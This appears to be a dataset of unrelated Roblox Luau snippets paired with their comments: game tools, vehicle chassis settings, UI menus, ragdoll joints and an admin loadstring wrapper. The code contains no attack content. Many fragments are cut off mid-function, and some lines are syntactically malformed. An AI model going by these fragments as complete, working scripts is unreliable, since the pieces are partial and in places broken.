if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then
JeffTheKillerHumanoid.DisplayDistanceType="None";
JeffTheKillerHumanoid.HealthDisplayDistance=0;
JeffTheKillerHumanoid.Name="ColdBloodedKiller";
JeffTheKillerHumanoid.NameDisplayDistance=0;
JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion";
JeffTheKillerHumanoid.AutoJumpEnabled=false;
JeffTheKillerHumanoid.AutoRotate=true;
JeffTheKillerHumanoid.MaxHealth=500;
JeffTheKillerHumanoid.JumpPower=0;
JeffTheKillerHumanoid.MaxSlopeAngle=89.9;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then
JeffTheKillerHumanoid.AutoJumpEnabled=false;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then
JeffTheKillerHumanoid.AutoRotate=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then
JeffTheKillerHumanoid.PlatformStand=false;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then
JeffTheKillerHumanoid.Sit=false;
end;
end;
|
--[=[
Destroys the TaskQueue. Just an alias for `Clear()`.
]=]
|
function TaskQueue:Destroy()
self:Clear()
end
return TaskQueue
|
--nonpolice
|
game.Players.PlayerAdded:Connect(function(Player)
Player.CharacterAdded:Connect(function(Character)
print(Player.TeamColor)
if Player.TeamColor == BrickColor.new("Medium stone grey") then
Character.Humanoid.MaxHealth = 115
Character.Humanoid.Health = 115
end
end)
end)
game.Players.PlayerAdded:Connect(function(Player)
Player.CharacterAdded:Connect(function(Character)
print(Player.TeamColor)
if Player.TeamColor == BrickColor.new("Persimmon") then
Character.Humanoid.MaxHealth = 115
Character.Humanoid.Health = 115
end
end)
end)
game.Players.PlayerAdded:Connect(function(Player)
Player.CharacterAdded:Connect(function(Character)
print(Player.TeamColor)
if Player.TeamColor == BrickColor.new("Deep orange") then
Character.Humanoid.MaxHealth = 115
Character.Humanoid.Health = 115
end
end)
end)
|
-- Menus
|
function Icon:setMenu(arrayOfIcons)
-- Reset any previous icons
for i, otherIcon in pairs(self.menuIcons) do
otherIcon:leave()
end
-- Apply new icons
if type(arrayOfIcons) == "table" then
for i, otherIcon in pairs(arrayOfIcons) do
otherIcon:join(self, "menu", true)
end
end
-- Update menu
self:_updateMenu()
return self
end
function Icon:_getMenuDirection()
local direction = (self:get("menuDirection") or "_NIL"):lower()
local alignment = (self:get("alignment") or "_NIL"):lower()
if direction ~= "left" and direction ~= "right" then
direction = (alignment == "left" and "right") or "left"
end
return direction
end
function Icon:_updateMenu()
local values = {
maxIconsBeforeScroll = self:get("menuMaxIconsBeforeScroll") or "_NIL",
direction = self:get("menuDirection") or "_NIL",
iconAlignment = self:get("alignment") or "_NIL",
scrollBarThickness = self:get("menuScrollBarThickness") or "_NIL",
}
for k, v in pairs(values) do if v == "_NIL" then return end end
local XPadding = IconController[values.iconAlignment.."Gap"]--12
local menuContainer = self.instances.menuContainer
local menuFrame = self.instances.menuFrame
local menuList = self.instances.menuList
local totalIcons = #self.menuIcons
local direction = self:_getMenuDirection()
local lastVisibleIconIndex = (totalIcons > values.maxIconsBeforeScroll and values.maxIconsBeforeScroll) or totalIcons
local newCanvasSizeX = -XPadding
local newFrameSizeX = 0
local newMinHeight = 0
local sortFunc = (direction == "right" and function(a,b) return a:get("order") < b:get("order") end) or function(a,b) return a:get("order") > b:get("order") end
table.sort(self.menuIcons, sortFunc)
for i = 1, totalIcons do
local otherIcon = self.menuIcons[i]
local otherIconSize = otherIcon:get("iconSize")
local increment = otherIconSize.X.Offset + XPadding
if i <= lastVisibleIconIndex then
newFrameSizeX = newFrameSizeX + increment
end
if i == lastVisibleIconIndex and i ~= totalIcons then
newFrameSizeX = newFrameSizeX -2--(increment/4)
end
newCanvasSizeX = newCanvasSizeX + increment
local otherIconHeight = otherIconSize.Y.Offset
if otherIconHeight > newMinHeight then
newMinHeight = otherIconHeight
end
end
local canvasSize = (lastVisibleIconIndex == totalIcons and 0) or newCanvasSizeX + XPadding
self:set("menuCanvasSize", UDim2.new(0, canvasSize, 0, 0))
self:set("menuSize", UDim2.new(0, newFrameSizeX, 0, newMinHeight + values.scrollBarThickness + 3))
-- Set direction
local directionDetails = {
left = {
containerAnchorPoint = Vector2.new(1, 0),
containerPosition = UDim2.new(0, -4, 0, 0),
canvasPosition = Vector2.new(canvasSize, 0)
},
right = {
containerAnchorPoint = Vector2.new(0, 0),
containerPosition = UDim2.new(1, XPadding-2, 0, 0),
canvasPosition = Vector2.new(0, 0),
}
}
local directionDetail = directionDetails[direction]
menuContainer.AnchorPoint = directionDetail.containerAnchorPoint
menuContainer.Position = directionDetail.containerPosition
menuFrame.CanvasPosition = directionDetail.canvasPosition
self._menuCanvasPos = directionDetail.canvasPosition
menuList.Padding = UDim.new(0, XPadding)
end
function Icon:_menuIgnoreClipping()
self:_ignoreClipping("menu")
end
|
-- Used in calculations for mouse clicks
|
local currentWaypoint = script.CurrentWaypoint
|
--// Firemode Settings
|
CanSelectFire = false;
BurstEnabled = false;
SemiEnabled = true;
AutoEnabled = false;
BoltAction = false;
|
--// Touch Connections
|
L_3_:WaitForChild('Humanoid').Touched:connect(function(L_312_arg1)
local L_313_, L_314_ = SearchResupply(L_312_arg1)
if L_313_ and L_17_ then
L_17_ = false
L_106_ = L_24_.Ammo
L_107_ = L_24_.StoredAmmo * L_24_.MagCount
L_108_ = L_24_.ExplosiveAmmo
if L_58_:FindFirstChild('Resupply') then
L_58_.Resupply:Play()
end
wait(15)
L_17_ = true
end;
end)
|
--Made by Luckymaxer
|
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RbxUtility = LoadLibrary("RbxUtility")
Create = RbxUtility.Create
Functions = {}
function Functions.TagHumanoid(humanoid, player)
local Creator_Tag = Create("ObjectValue"){
Name = "creator",
Value = player,
}
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function Functions.UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function Functions.IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function Functions.CheckTableForString(Table, String)
for i, v in pairs(Table) do
if string.find(string.lower(String), string.lower(v)) then
return true
end
end
return false
end
function Functions.CheckIntangible(Hit)
local ProjectileNames = {"Lightning", "Effect", "Projectile", "Arrow", "Bullet", "Water"}
if Hit and Hit.Parent then
local HumanoidFound
for i, v in pairs(Hit.Parent:GetChildren()) do
if v:IsA("Humanoid") then
HumanoidFound = v
break
end
end
if not HumanoidFound and ((not Hit.CanCollide and Hit.Transparency >= 1) or Functions.CheckTableForString(ProjectileNames, Hit.Name) or Hit.Parent:IsA("Hat") or Hit.Parent:IsA("Tool")) then
return true
end
end
return false
end
function Functions.CastRay(StartPos, Vec, Length, Ignore, DelayIfHit)
local Ignore = ((type(Ignore) == "table" and Ignore) or {Ignore})
local RayHit, RayPos, RayNormal = game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(StartPos, Vec * Length), Ignore)
if RayHit and Functions.CheckIntangible(RayHit) then
if DelayIfHit then
wait()
end
RayHit, RayPos, RayNormal = Functions.CastRay((RayPos + (Vec * 0.01)), Vec, (Length - ((StartPos - RayPos).magnitude)), Ignore, DelayIfHit)
end
return RayHit, RayPos, RayNormal
end
function Functions.GetTotalParts(MaxParts, PossibleParts, Parts)
if MaxParts < PossibleParts then
return MaxParts
elseif Parts >= MaxParts then
return 0
elseif MaxParts >= PossibleParts then
local PartCount = (MaxParts - PossibleParts)
if Parts <= MaxParts then
PartCount = (MaxParts - Parts)
if PartCount > PossibleParts then
return PossibleParts
else
return PartCount
end
elseif PartCount >= PossibleParts then
return PossibleParts
else
return PartCount
end
end
end
function Functions.GetParts(Region, MaxParts, Ignore)
local Parts = {}
local RerunFailed = false
while #Parts < MaxParts and not RerunFailed do
local Region = Region
local PossibleParts = Functions.GetTotalParts(MaxParts, 100, #Parts)
local PartsNearby = game:GetService("Workspace"):FindPartsInRegion3WithIgnoreList(Region, Ignore, PossibleParts)
if #PartsNearby == 0 then
RerunFailed = true
else
for i, v in pairs(PartsNearby) do
table.insert(Parts, v)
table.insert(Ignore, v)
end
end
end
return Parts
end
function Functions.CheckTableForInstance(Table, Instance)
for i, v in pairs(Table) do
if v == Instance then
return true
end
end
return false
end
return Functions
|
-- Warning: This script was automatically generated using the EventBlocks plugin.
| |
--Version 1.43 Made my PistonsofDoom--
|
local carSeat=script.Parent.Parent.Parent.Parent
local numbers={180354176,180354121,180354128,180354131,180354134,180354138,180354146,180354158,180354160,180354168,180355596,180354115}
while true do
wait(0.01)
local value=(carSeat.Velocity.magnitude)*(10/12) * (60/88) --This is the velocity so if it was 1.6 it should work. If not PM me! or comment!--
if value<10000 then
local nnnn=math.floor(value/1000)
local nnn=(math.floor(value/100))-(nnnn*10)
local nn=(math.floor(value/10)-(nnn*10))-(nnnn*100)
local n=(math.floor(value)-(nn*10)-(nnn*100))-(nnnn*1000)
script.Parent.A.Image="http://www.roblox.com/asset/?id="..numbers[n+1]
if value>=10 then
script.Parent.B.Image="http://www.roblox.com/asset/?id="..numbers[nn+1]
else
script.Parent.B.Image="http://www.roblox.com/asset/?id="..numbers[12]
end
if value>=100 then
script.Parent.C.Image="http://www.roblox.com/asset/?id="..numbers[nnn+1]
else
script.Parent.C.Image="http://www.roblox.com/asset/?id="..numbers[12]
end
else
script.Parent.A.Image="http://www.roblox.com/asset/?id="..numbers[10]
script.Parent.B.Image="http://www.roblox.com/asset/?id="..numbers[10]
script.Parent.C.Image="http://www.roblox.com/asset/?id="..numbers[10]
end
end
|
--[[
Credit to einsteinK.
Credit to Stravant for LBI.
Credit to the creators of all the other modules used in this.
Sceleratis was here and decided modify some things.
einsteinK was here again to fix a bug in LBI for if-statements
--]]
|
local waitDeps = {
'Rerubi';
'LuaK';
'LuaP';
'LuaU';
'LuaX';
'LuaY';
'LuaZ';
}
for i,v in pairs(waitDeps) do script:WaitForChild(v) end
local luaX = require(script.LuaX)
local luaY = require(script.LuaY)
local luaZ = require(script.LuaZ)
local luaU = require(script.LuaU)
local rerubi = require(script.Rerubi)
luaX:init()
local LuaState = {}
getfenv().script = nil
return function(str,env)
local f,writer,buff,name
local env = env or getfenv(2)
local name = (env.script and env.script:GetFullName())
local ran,error = pcall(function()
local zio = luaZ:init(luaZ:make_getS(str), nil)
if not zio then return error() end
local func = luaY:parser(LuaState, zio, nil, name or "::Adonis::Loadstring::")
writer, buff = luaU:make_setS()
luaU:dump(LuaState, func, writer, buff)
f = rerubi(buff.data, env)
end)
if ran then
return f,buff.data
else
return nil,error
end
end
|
--Responsible for regening a player's humanoid's health
| |
--Weld stuff here
|
MakeWeld(car.Misc.Wheel.A,car.DriveSeat,"Motor",.5).Name="W"
ModelWeld(car.Misc.Wheel.Parts,car.Misc.Wheel.A)
|
--//Configure//--
|
EngineSound = "http://www.roblox.com/asset/?id=426479434"
enginevolume = 0.5
enginePitchAdjust = 1
IdleSound = "http://www.roblox.com/asset/?id=426479434" --{If you dont have a separate sound, use engine sound ID}
idlePitchAdjust = 0.9
TurboSound = "http://www.roblox.com/asset/?id=286070281"
turbovolume = 1
SuperchargerSound = "http://www.roblox.com/asset/?id=404779487"
superchargervolume = 0.5
HornSound = "http://www.roblox.com/asset/?id=143133249"
hornvolume = 1
StartupSound = "http://www.roblox.com/asset/?id=169394147"
startupvolume = 0.5
startuplength = 1 --{adjust this for a longer startup duration}
WHEELS_VISIBLE = false --If your wheels transparency is a problem, change this value to false
BRAKES_VISIBLE = false --This is to hide the realistic brakes, you can set this to false if you'd like to see how the brakes work
AUTO_FLIP = true --If false, your car will not flip itself back over in the event of a turnover
SpeedoReading = "MPH" --{KPH, MPH}
RevDecay = 150 --{The higher this value, the faster it will decay}
--//INSPARE//--
--//SS6//--
--//Build 1.0//--
--and i'll write your name.
script.Parent.Name = "VehicleSeat"
wait(0.1)
checker = Instance.new("Model")
checker.Name = "PGSCH"
checker.Parent = game.Workspace
checkertb = Instance.new("Part")
checkertb.Name = "Test"
checkertb.Parent = checker
checkertb.CanCollide = false
checkertb.TopSurface = Enum.SurfaceType.SmoothNoOutlines
checkertb.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
checkertb.Transparency = 0.8
checkertop = Instance.new("Part")
checkertop.Name = "Top"
checkertop.Parent = checker
checkertop.Anchored = true
checkertop.CanCollide = false
checkertop.TopSurface = Enum.SurfaceType.SmoothNoOutlines
checkertop.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
checkertop.Transparency = 0.8
checker1 = Instance.new("Attachment", checkertb)
checker2 = Instance.new("Attachment", checkertop)
checkerrope = Instance.new("RopeConstraint", checkertb)
checkerrope.Attachment0 = checker1
checkerrope.Attachment1 = checker2
checkerbf = Instance.new("BodyForce", checkertb)
checkerbf.Force = Vector3.new(0, -1000000, 0)
alertbbg = Instance.new("BillboardGui", script.Parent)
alertbbg.Size = UDim2.new(0, 500, 0, 100)
alertbbg.StudsOffset = Vector3.new(0,8,0)
alertbbg.AlwaysOnTop = true
alertbbg.Enabled = false
alerttext = Instance.new("TextLabel", alertbbg)
alerttext.BackgroundColor3 = Color3.new(97/255, 255/255, 176/255)
alerttext.BackgroundTransparency = 0.5
alerttext.TextSize = 24
alerttext.TextStrokeTransparency = 0.8
alerttext.Size = UDim2.new(1,0,1,0)
alerttext.BorderSizePixel = 0
alerttext.TextColor3 = Color3.new(1,1,1)
alerttext.TextWrapped = true
alerttext.Font = "SourceSans"
alerttext.Text = "PGSPhysicsSolver must be enabled to use this chassis! Enable this feature in the Workspace."
finesse = true
vr = 0
checker.ChildRemoved:connect(function(instance)
if finesse == true then
alertbbg.Enabled = true
vr = 1
end
end)
wait(0.35)
if vr == 0 then
finesse = false
checker:remove()
local PreS = script.Assets.PreSet:Clone()
PreS.Parent = script.Parent
PreS.Disabled = false
script.Parent:WaitForChild("PreSet")
script.Parent.CFrame = script.Parent.CFrame * CFrame.Angles(math.rad(0.59), math.rad(0), math.rad(0))
if BRAKES_VISIBLE == true then
bv = 0
else
bv = 1
end
|
--Zoom function--
|
mouse.WheelBackward:connect(function()
if CamV ~= "third" then
if cam.FieldOfView <= 100 then
cam.FieldOfView = cam.FieldOfView + 5
end
end
end)
mouse.WheelForward:connect(function()
if CamV ~= "third" then
if cam.FieldOfView >= 20 then
cam.FieldOfView = cam.FieldOfView - 5
end
end
end)
|
--Rescripted by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")
RbxUtility = LoadLibrary("RbxUtility")
Create = RbxUtility.Create
black= BrickColor.new("Really black")
BaseUrl = "http://www.roblox.com/asset/?id="
LastAttack = 0
Lunging = false
Grips = {
Up = CFrame.new(0, -1.7, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),
Out = CFrame.new(0, -1.7, 0, 1, 0, 0, 0, 0, -1, -0, 1, 0),
}
Sounds = {
Unsheath = Handle:WaitForChild("UnsheathSound"),
Slash = Handle:WaitForChild("SlashSound"),
Lunge = Handle:WaitForChild("LungeSound"),
}
BasePart = Create("Part"){
Material = Enum.Material.Plastic,
Shape = Enum.PartType.Block,
TopSurface = Enum.SurfaceType.Smooth,
BottomSurface = Enum.SurfaceType.Smooth,
FormFactor = Enum.FormFactor.Custom,
Size = Vector3.new(0.2, 0.2, 0.2),
CanCollide = true,
Locked = true,
}
SoulFire = Create("Fire"){
Name = "Fire",
Color = Color3.new((255 / 255), (0 / 255), (0 / 255)),
SecondaryColor = Color3.new((85 / 255), (0 / 255), (0 / 255)),
Heat = 18,
Size = 2.5,
Enabled = true,
}
SoulLight = Create("PointLight"){
Name = "Light",
Color = SoulFire.Color,
Brightness = 35,
Range = 4,
Shadows = false,
Enabled = true,
}
Gravity = 196.20
SwordDamage = 25
ToolEquipped = false
ServerControl = (Tool:FindFirstChild("ServerControl") or Create("RemoteFunction"){
Name = "ServerControl",
Parent = Tool,
})
ClientControl = (Tool:FindFirstChild("ClientControl") or Create("RemoteFunction"){
Name = "ClientControl",
Parent = Tool,
})
Tool.Grip = Grips.Up
Tool.Enabled = true
function IsTeamMate(Player1, Player2)
local myteam = Player1.TeamColor
local theirteam = Player2.TeamColor
return not (myteam ~= theirteam or (myteam == black and theirteam == black))
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Create("ObjectValue"){
Name = "creator",
Value = player,
}
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function Blow(Part, Damage)
local PartTouched
PartTouched = Part.Touched:connect(function(Hit)
if not Hit or not Hit.Parent or not CheckIfAlive() then
return
end
local RightArm = Character:FindFirstChild("Right Arm")
if not RightArm then
return
end
local RightGrip = RightArm:FindFirstChild("RightGrip")
if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then
return
end
local character = Hit.Parent
if character == Character then
return
end
local humanoid = character:FindFirstChild("Humanoid")
if not humanoid or humanoid.Health == 0 then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and (player == Player or IsTeamMate(Player, player)) then
return
end
local HealthAfter = (humanoid.Health - Damage)
UntagHumanoid(humanoid)
TagHumanoid(humanoid, Player)
humanoid:TakeDamage(Damage)
spawn(function()
humanoid.WalkSpeed = 9
wait(1.25)
humanoid.WalkSpeed = 16
end)
end)
return PartTouched
end
function CreateTrail(Damage, TrailRate)
local TrailLoop
local Count = Create("IntValue"){
Value = 0,
}
local Enabled = Create("BoolValue"){
Value = true,
}
spawn(function()
while Enabled.Value and ToolEquipped and CheckIfAlive() do
local TrailPart = Handle:Clone()
TrailPart.Name = "Effect"
TrailPart.CanCollide = false
TrailPart.Anchored = true
Blow(TrailPart, 5)
Count.Value = (Count.Value + 1)
Debris:AddItem(TrailPart, 1)
TrailPart.Parent = game:GetService("Workspace")
TrailPart.CFrame = Handle.CFrame
wait(TrailRate)
end
end)
return {Connection = TrailLoop, Count = Count, Enabled = Enabled}
end
function Lunge()
Lunging = true
local Target = InvokeClient("MousePosition")
if not Target then
return
end
local TargetPosition = Target.Position
local Direction = (CFrame.new(Torso.Position, TargetPosition).lookVector * Vector3.new(1, 0, 1))
Tool.Grip = Grips.Out
Sounds.Lunge:Play()
if Direction.Magnitude > .01 then
Direction = Direction.Unit
local NewBV = Create("BodyVelocity"){
P = 100000,
maxForce = Vector3.new(100000, 0, 100000),
velocity = (Direction * 50),
}
Debris:AddItem(NewBV, 0.75)
NewBV.Parent = Torso
Torso.CFrame = CFrame.new(Torso.Position, (TargetPosition * Vector3.new(1, 0, 1) + Vector3.new(0, Torso.Position.Y, 0)))
end
spawn(function()
local LungeTrail = CreateTrail(5, 0.08)
while Lunging and CheckIfAlive() and ToolEquipped do
RunService.Stepped:wait()
end
LungeTrail.Enabled.Value = false
end)
wait(0.75)
Lunging = false
Tool.Grip = Grips.Up
wait(0.5)
end
function Attack()
Tool.Grip = Grips.Up
Sounds.Slash:Play()
local Anim = Create("StringValue"){
Name = "toolanim",
Value = "Slash",
Parent = Tool,
}
spawn(function()
local AttackTrail = CreateTrail(5, 0.06)
while AttackTrail.Count.Value < 4 and CheckIfAlive() and ToolEquipped do
RunService.Stepped:wait()
end
AttackTrail.Enabled.Value = false
end)
Tool.Grip = Grips.Up
end
function ConsumeTarget(character, number)
local Part = BasePart:Clone()
Part.Name = "Effect"
Part.Transparency = 1
Part.Size = Vector3.new(0.5, 0.5, 0.5)
Part.CanCollide = false
local Fire = SoulFire:Clone()
Fire.Size = 1
Fire.Enabled = true
Fire.Parent = Part
local Light = SoulLight:Clone()
Light.Color = Fire.Color
Light.Enabled = true
Light.Parent = Part
if number and number < 3 then
number = 3
end
if character then
local torso = character:FindFirstChild("Torso")
if torso then
number = (number or 4)
for i = 1, number do
local Part2 = Part:Clone()
Part2.CFrame = (Torso.CFrame + Torso.CFrame.lookVector * 4)
local Propulsion = Create("RocketPropulsion"){
Target = torso,
TargetOffset = Vector3.new(0, 2, 0),
ThrustP = 500,
ThrustD = 5,
MaxSpeed = 150,
MaxTorque = Vector3.new(4000000, 4000000, 0),
Parent = Part2,
}
Debris:AddItem(Part2, 15)
Part2.Parent = game:GetService("Workspace")
Propulsion.ReachedTarget:connect(function()
if not CheckIfAlive() then
return
end
if Part2 and Part2.Parent then
Part2:Destroy()
end
end)
Propulsion:Fire()
wait(0.25)
end
end
else
local TargetPosition = InvokeClient("MousePosition")
if TargetPosition then
TargetPosition = TargetPosition.Position
local Direction = (TargetPosition - Torso.Position).Unit
for i = 1, 5 do
local Part2 = Part:Clone()
Part2.CFrame = (Torso.CFrame + Torso.CFrame.lookVector * 4)
local Velocity = (Direction * 150)
local Mass = (Part2:GetMass() * Gravity)
local BF = Create("BodyForce"){
Parent = Part2,
force = Vector3.new(0, Part2:GetMass() * 196.2, 0),
}
Part2.Velocity = Velocity
Part2.Touched:connect(function(Hit)
if not Hit or not Hit.Parent then
return
end
local character = Hit.Parent
if character:IsA("Hat") then
character = Hit.Parent
end
local humanoid = character:FindFirstChild("Humanoid")
if not humanoid or humanoid.Health == 0 then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and (Player == player or IsTeamMate(Player, player)) then
return
end
if Part2 and Part2.Parent then
Part2:Destroy()
end
end)
Debris:AddItem(Part2, 15)
Part2.Parent = game:GetService("Workspace")
end
end
end
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false)
end
function Activated()
if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then
return
end
Tool.Enabled = false
local Time = RunService.Stepped:wait()
if (Time - LastAttack) < 0.2 then
Lunge()
else
Attack()
end
LastAttack = Time
Tool.Enabled = true
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
Torso = Character:FindFirstChild("Torso")
if not CheckIfAlive() then
return
end
ToolEquipped = true
spawn(function()
local CurrentlyEquipped = true
ToolUnequipped1 = Tool.Unequipped:connect(function()
CurrentlyEquipped = false
if ToolUnequipped1 then
ToolUnequipped1:disconnect()
end
end)
Sounds.Unsheath:Play()
Humanoid.WalkSpeed = 18
spawn(function()
while ToolEquipped and CurrentlyEquipped and CheckIfAlive() do
wait(1)
if not ToolEquipped or not CurrentlyEquipped or not CheckIfAlive() then
break
end
Humanoid.Health = (Humanoid.Health + 0.25)
end
end)
end)
end
function Unequipped()
--[[for i, v in pairs(Sounds) do
v:Stop()
end]]
if CheckIfAlive() then
--SetPlayerMaxHealth(Humanoid, 100)
Humanoid.WalkSpeed = 16
end
Tool.Grip = Grips.Up
ToolEquipped = false
end
function InvokeClient(Mode, Value)
local ClientReturn = nil
pcall(function()
ClientReturn = ClientControl:InvokeClient(Player, Mode, Value)
end)
return ClientReturn
end
Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
Blow(Handle, SwordDamage)
|
--Collision
|
character.LowerTorso.CollisionGroupId = 0
character.RightLowerArm.CollisionGroupId = 0
character.LeftLowerArm.CollisionGroupId = 0
character.RightLowerLeg.CollisionGroupId = 0
character.LeftLowerLeg.CollisionGroupId = 0
end
end)
mouse5.KeyUp:connect(function(key)
if string.byte(key) == 114 then
humanoid:ChangeState(stateType.GettingUp)
local UTJoint = character:FindFirstChild("UpperTorso")
local LTJoint = character:FindFirstChild("LowerTorso")
local RUA = character:FindFirstChild("RightUpperArm")
local LUA = character:FindFirstChild("LeftUpperArm")
local RUL = character:FindFirstChild("RightUpperLeg")
local LUL = character:FindFirstChild("LeftUpperLeg")
local RLA = character:FindFirstChild("RightLowerArm")
local LLA = character:FindFirstChild("LeftLowerArm")
local RLL = character:FindFirstChild("RightLowerLeg")
local LLL = character:FindFirstChild("LeftLowerLeg")
local RH = character:FindFirstChild("RightHand")
local LH = character:FindFirstChild("LeftHand")
local RF = character:FindFirstChild("RightFoot")
local LF = character:FindFirstChild("LeftFoot")
local HRP = character:FindFirstChild("HumanoidRootPart")
local Torso character.UpperTorso.Waist.Part0 = LTJoint
local Torso2 character.UpperTorso.Waist.Part1 = UTJoint
local LUAJoint character.RightUpperArm.RightShoulder.Part0 = UTJoint
local LUAJoint2 character.RightUpperArm.RightShoulder.Part1 = RUA
local LUAJoint character.LeftUpperArm.LeftShoulder.Part0 = UTJoint
local LUAJoint2 character.LeftUpperArm.LeftShoulder.Part1 = LUA
local RULJoint character.RightUpperLeg.RightHip.Part0 = LTJoint
local RULJoint2 character.RightUpperLeg.RightHip.Part1 = RUL
local LULJoint character.LeftUpperLeg.LeftHip.Part0 = LTJoint
local LULJoint2 character.LeftUpperLeg.LeftHip.Part1 = LUL
local RLAJoint character.RightLowerArm.RightElbow.Part0 = RUA
local RLAJoint2 character.RightLowerArm.RightElbow.Part1 = RLA
local LLAJoint character.LeftLowerArm.LeftElbow.Part0 = LUA
local LLAJoint2 character.LeftLowerArm.LeftElbow.Part1 = LLA
local RLLJoint character.RightLowerLeg.RightKnee.Part0 = RUL
local RLLJoint2 character.RightLowerLeg.RightKnee.Part1 = RLL
local LLLJoint character.LeftLowerLeg.LeftKnee.Part0 = LUL
local LLLJoint2 character.LeftLowerLeg.LeftKnee.Part1 = LLL
local RHJoint character.RightHand.RightWrist.Part0 = RLA
local RHJoint2 character.RightHand.RightWrist.Part1 = RH
local LHJoint character.LeftHand.LeftWrist.Part0 = LLA
local LHJoint2 character.LeftHand.LeftWrist.Part1 = LH
local RFJoint character.RightFoot.RightAnkle.Part0 = RLL
local RFJoint2 character.RightFoot.RightAnkle.Part1 = RF
local LFJoint character.LeftFoot.LeftAnkle.Part0 = LLL
local LFJoint2 character.LeftFoot.LeftAnkle.Part1 = LF
character.RagdollFallingMoreFromAlexRagdoll.Disabled = true
end
end)
|
-- The maximum distance the can can shoot, this value should never go above 1000
|
local Range = 350
|
-- I hate to use this over a mathematical spring, but this means we don't need an entire extra module
|
local springPart = script:WaitForChild("Spring");
local BP = springPart:WaitForChild("BodyPosition");
BP.Position = Vector3.new();
springPart.CFrame = CFrame.new();
springPart.Anchored = false;
|
--Make the collision group for parts of characters not collide with itself
|
PhysicsService:CollisionGroupSetCollidable(GroupName, GroupName, false)
|
--------LEFT DOOR --------
|
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.Lighting.flashcurrent.Value = "11"
|
--[[Engine]]
|
-- [TORQUE CURVE VISUAL]
-- https://www.desmos.com/calculator/nap6stpjqf
-- Use sliders to manipulate values
-- Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo.
Tune.Horsepower = 51
Tune.IdleRPM = 200
Tune.PeakRPM = 1850
Tune.Redline = 2000
Tune.EqPoint = 75000
Tune.PeakSharpness = 20
Tune.CurveMult = 0.2
Tune.InclineComp = 1.2 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Turbo Settings
Tune.Aspiration = "Natural" --[[
[Aspiration]
"Natural" : N/A, Naturally aspirated engine
"Single" : Single turbocharger
